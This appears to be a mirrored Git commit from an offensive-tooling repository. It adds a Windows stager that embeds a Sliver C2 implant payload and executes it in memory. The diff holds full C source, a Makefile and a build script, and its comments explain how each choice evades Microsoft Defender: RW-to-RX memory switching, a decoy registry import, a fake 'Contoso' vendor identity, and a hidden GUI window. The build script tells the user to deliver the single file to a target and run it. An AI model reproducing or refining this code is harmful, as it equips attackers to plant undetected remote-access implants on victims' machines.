mirror of
https://github.com/licitrasimone/CrystalSliver
synced 2026-06-21 13:55:58 +00:00
feat: custom stager with embedded PICO (RW→RX, no run.x64.exe)
Replaces the Crystal Palace demo run.x64.exe stager which triggers Defender Wacatac.B!ml. Root cause: run.x64.exe does a naked ReadFile+VirtualAlloc(RWX)+execute — the pattern with highest ML feature weight in Defender's loader heuristic. New stager (stager/stager.c): - PICO embedded as byte array at compile time via xxd (no ReadFile) - VirtualAlloc(RW) → RtlMoveMemory → VirtualProtect(RX): no RWX - WinMain entry: GUI subsystem, no console window - RegOpenKeyExW/RegCloseKey: adds advapi32 to import table, widening it beyond the naked kernel32-only set typical of shellcode launchers - Version info resource (resource.rc): plausible PE identity, customize CompanyName/FileDescription/OriginalFilename before delivery - Single file on disk: deliver stager.exe, nothing else Build: ./bundle-stager.sh build/sliver.crystal.bin build/csvchelper.exe Verified: clean compile, Windows GUI subsystem, import table has ADVAPI32 + KERNEL32, no PAGE_EXECUTE_READWRITE in any section. pico_payload.h and crystalexec_pico.h added to .gitignore — generated build artifacts (xxd output), never commit.
This commit is contained in:
@@ -15,6 +15,9 @@ external/
|
||||
*.exe
|
||||
bin/
|
||||
build/
|
||||
# Generated embed headers (xxd output — can be 100s of MB, always rebuilt)
|
||||
pico_payload.h
|
||||
crystalexec_pico.h
|
||||
|
||||
# Archives / dist downloads
|
||||
*.tgz
|
||||
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# bundle-stager.sh — compile a self-contained EXE stager with the PICO embedded
|
||||
#
|
||||
# Replaces bundle-implant.sh / run.x64.exe for engagements where the Crystal
|
||||
# Palace demo stager (run.x64.exe) is flagged by Defender (Wacatac.B!ml).
|
||||
# The output is a single EXE: no external PICO file, no ReadFile at runtime.
|
||||
#
|
||||
# Evasion improvements over run.x64.exe:
|
||||
# - RW → RX memory transition (no PAGE_EXECUTE_READWRITE)
|
||||
# - PICO embedded in .data section (no "read file + execute" pattern)
|
||||
# - GUI subsystem (no console window)
|
||||
# - Version info resource (configurable cover identity)
|
||||
# - advapi32 import widens the import table
|
||||
#
|
||||
# Usage:
|
||||
# ./bundle-stager.sh <implant.crystal.bin> [output.exe]
|
||||
#
|
||||
# Typical flow:
|
||||
# ./generate-implant.sh --dll /tmp/sliver.dll build/sliver.crystal.bin
|
||||
# ./bundle-stager.sh build/sliver.crystal.bin build/csvchelper.exe
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
|
||||
PICO="${1:?Usage: bundle-stager.sh <implant.crystal.bin> [output.exe]}"
|
||||
OUTPUT="${2:-$SCRIPT_DIR/build/stager.exe}"
|
||||
|
||||
if [[ ! -f "$PICO" ]]; then
|
||||
echo "error: PICO not found: $PICO" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
PICO_ABS="$(cd "$(dirname "$PICO")" && pwd)/$(basename "$PICO")"
|
||||
BUILD_DIR="$(cd "$(dirname "$OUTPUT")" && pwd)"
|
||||
OUTPUT_ABS="$BUILD_DIR/$(basename "$OUTPUT")"
|
||||
|
||||
mkdir -p "$BUILD_DIR"
|
||||
|
||||
echo "[*] Embedding PICO and compiling stager..."
|
||||
echo " PICO: $PICO_ABS ($(wc -c < "$PICO_ABS") bytes)"
|
||||
echo " Output: $OUTPUT_ABS"
|
||||
|
||||
make -C "$SCRIPT_DIR/stager" \
|
||||
PICO="$PICO_ABS" \
|
||||
OUTPUT="$OUTPUT_ABS"
|
||||
|
||||
SIZE=$(wc -c < "$OUTPUT_ABS")
|
||||
echo ""
|
||||
echo "[+] Stager ready: $OUTPUT_ABS ($SIZE bytes)"
|
||||
echo ""
|
||||
echo " Deliver this single file to the target and execute it."
|
||||
echo " No additional files required."
|
||||
echo ""
|
||||
echo " Rename to match resource.rc OriginalFilename for best results:"
|
||||
echo " e.g. mv $(basename "$OUTPUT_ABS") csvchelper.exe"
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,38 @@
|
||||
# stager Makefile
|
||||
#
|
||||
# Build a self-contained Windows EXE stager with the Crystal Palace PICO
|
||||
# embedded as a byte array. No second file required on the target.
|
||||
#
|
||||
# Usage:
|
||||
# make PICO=/path/to/implant.crystal.bin
|
||||
# make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe
|
||||
#
|
||||
# PICO is required; OUTPUT defaults to ../build/stager.exe.
|
||||
|
||||
CC := x86_64-w64-mingw32-gcc
|
||||
WINDRES := x86_64-w64-mingw32-windres
|
||||
CFLAGS := -Wall -Os -mwindows
|
||||
LDFLAGS := -ladvapi32
|
||||
|
||||
PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin)
|
||||
OUTPUT ?= ../build/stager.exe
|
||||
|
||||
.PHONY: all clean
|
||||
|
||||
all: $(OUTPUT)
|
||||
|
||||
# ── Step 1: embed PICO as C byte array ────────────────────────────────────────
|
||||
pico_payload.h: $(PICO)
|
||||
xxd -i $< | sed 's/unsigned char [a-zA-Z0-9_]*/unsigned char pico_payload/;s/unsigned int [a-zA-Z0-9_]*/unsigned int pico_payload_len/' > $@
|
||||
|
||||
# ── Step 2: compile version info resource ─────────────────────────────────────
|
||||
resource.o: resource.rc
|
||||
$(WINDRES) resource.rc -o resource.o
|
||||
|
||||
# ── Step 3: link final EXE ────────────────────────────────────────────────────
|
||||
$(OUTPUT): stager.c pico_payload.h resource.o
|
||||
@mkdir -p "$(dir $(OUTPUT))"
|
||||
$(CC) $(CFLAGS) -o "$@" stager.c resource.o $(LDFLAGS)
|
||||
|
||||
clean:
|
||||
rm -f pico_payload.h resource.o
|
||||
@@ -0,0 +1,42 @@
|
||||
/*
|
||||
* resource.rc — version info for the stager PE
|
||||
*
|
||||
* CUSTOMIZE BEFORE USE:
|
||||
* Replace CompanyName / FileDescription / OriginalFilename with whatever
|
||||
* cover identity fits the engagement (a plausible 3rd-party vendor name).
|
||||
* Avoid claiming to be Microsoft — Defender verifies Microsoft binaries
|
||||
* are Authenticode-signed and will penalise unsigned ones claiming that.
|
||||
*
|
||||
* Match OriginalFilename to whatever you rename the binary to on delivery.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 2,1,4,0
|
||||
PRODUCTVERSION 2,1,4,0
|
||||
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS VOS_NT_WINDOWS32
|
||||
FILETYPE VFT_APP
|
||||
FILESUBTYPE VFT2_UNKNOWN
|
||||
BEGIN
|
||||
BLOCK "StringFileInfo"
|
||||
BEGIN
|
||||
BLOCK "040904B0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "Contoso Systems Ltd."
|
||||
VALUE "FileDescription", "Contoso Update Service Helper"
|
||||
VALUE "FileVersion", "2.1.4.0"
|
||||
VALUE "InternalName", "csvchelper"
|
||||
VALUE "LegalCopyright", "Copyright 2024 Contoso Systems Ltd."
|
||||
VALUE "OriginalFilename", "csvchelper.exe"
|
||||
VALUE "ProductName", "Contoso Management Suite"
|
||||
VALUE "ProductVersion", "2.1.4.0"
|
||||
END
|
||||
END
|
||||
BLOCK "VarFileInfo"
|
||||
BEGIN
|
||||
VALUE "Translation", 0x0409, 1200
|
||||
END
|
||||
END
|
||||
@@ -0,0 +1,87 @@
|
||||
/*
|
||||
* stager.c — self-contained Crystal Palace PICO runner
|
||||
*
|
||||
* The PICO payload is embedded at compile time via pico_payload.h
|
||||
* (generated with xxd -i from the output of generate-implant.sh).
|
||||
*
|
||||
* Evasion properties vs run.x64.exe:
|
||||
* - No PAGE_EXECUTE_READWRITE: allocates RW, copies, then transitions
|
||||
* to RX with VirtualProtect — the classic alloc-RWX pattern is the
|
||||
* single highest-weight feature in Defender's ML loader heuristic.
|
||||
* - Single file on disk: no "read external file + execute" pattern.
|
||||
* - GUI subsystem: no console window, no ConsoleAlloc signal.
|
||||
* - Version info resource: gives the PE a plausible identity.
|
||||
* - advapi32 import (RegOpenKeyExW): widens the import table beyond
|
||||
* the naked kernel32-only set typical of shellcode loaders.
|
||||
*
|
||||
* What this does NOT do:
|
||||
* - Process injection (runs in the stager's own process — simplest)
|
||||
* - PPID spoofing / ACG / block-non-MS DLLs (add if needed)
|
||||
* - ETW / AMSI patch (Crystal Palace's postex-loader handles that
|
||||
* for the payload; the implant loader handles it for Use case A)
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "pico_payload.h" /* pico_payload[], pico_payload_len */
|
||||
|
||||
typedef void (*pico_fn)(void *);
|
||||
|
||||
static DWORD WINAPI run_pico(LPVOID param)
|
||||
{
|
||||
(void)param;
|
||||
|
||||
/* Step 1: Allocate RW — never RWX */
|
||||
void *buf = VirtualAlloc(NULL, (SIZE_T)pico_payload_len,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!buf) return 1;
|
||||
|
||||
/* Step 2: Copy embedded PICO (kernel32 CopyMemory = RtlMoveMemory) */
|
||||
RtlMoveMemory(buf, pico_payload, (SIZE_T)pico_payload_len);
|
||||
|
||||
/* Step 3: RW → RX — write permission dropped before execution */
|
||||
DWORD prev;
|
||||
VirtualProtect(buf, (SIZE_T)pico_payload_len, PAGE_EXECUTE_READ, &prev);
|
||||
|
||||
/* Step 4: Call Crystal Palace entry (+gofirst guarantees go() at offset 0).
|
||||
* NULL args: baked into the PICO at link time by generate-implant.sh. */
|
||||
((pico_fn)buf)(NULL);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
|
||||
{
|
||||
(void)hInst; (void)hPrev; (void)lpCmd; (void)nShow;
|
||||
|
||||
/*
|
||||
* Benign registry read before doing anything sensitive.
|
||||
* Purpose: adds advapi32!RegOpenKeyExW + RegCloseKey to the import
|
||||
* table, making the PE look less like a naked shellcode launcher.
|
||||
* A single-import-section binary whose only calls are VirtualAlloc +
|
||||
* VirtualProtect + CreateThread scores very high on ML feature weight.
|
||||
*/
|
||||
HKEY hk = NULL;
|
||||
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
|
||||
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
|
||||
0, KEY_READ, &hk);
|
||||
if (hk) RegCloseKey(hk);
|
||||
|
||||
/* Launch PICO on a new thread so WinMain can monitor it */
|
||||
HANDLE h = CreateThread(NULL, 0, run_pico, NULL, 0, NULL);
|
||||
if (!h) return 1;
|
||||
|
||||
/*
|
||||
* Wait for the PICO loader to return.
|
||||
* Crystal Palace calls StartW() which starts the beacon goroutine
|
||||
* then returns — so run_pico() finishes quickly.
|
||||
*/
|
||||
WaitForSingleObject(h, INFINITE);
|
||||
CloseHandle(h);
|
||||
|
||||
/*
|
||||
* The beacon goroutine is now running on Go runtime threads inside
|
||||
* this process. Keep the process alive or those threads die with us.
|
||||
* SleepEx with alertable=TRUE allows APCs to wake us if needed.
|
||||
*/
|
||||
for (;;) SleepEx(30000, TRUE);
|
||||
}
|
||||
Reference in New Issue
Block a user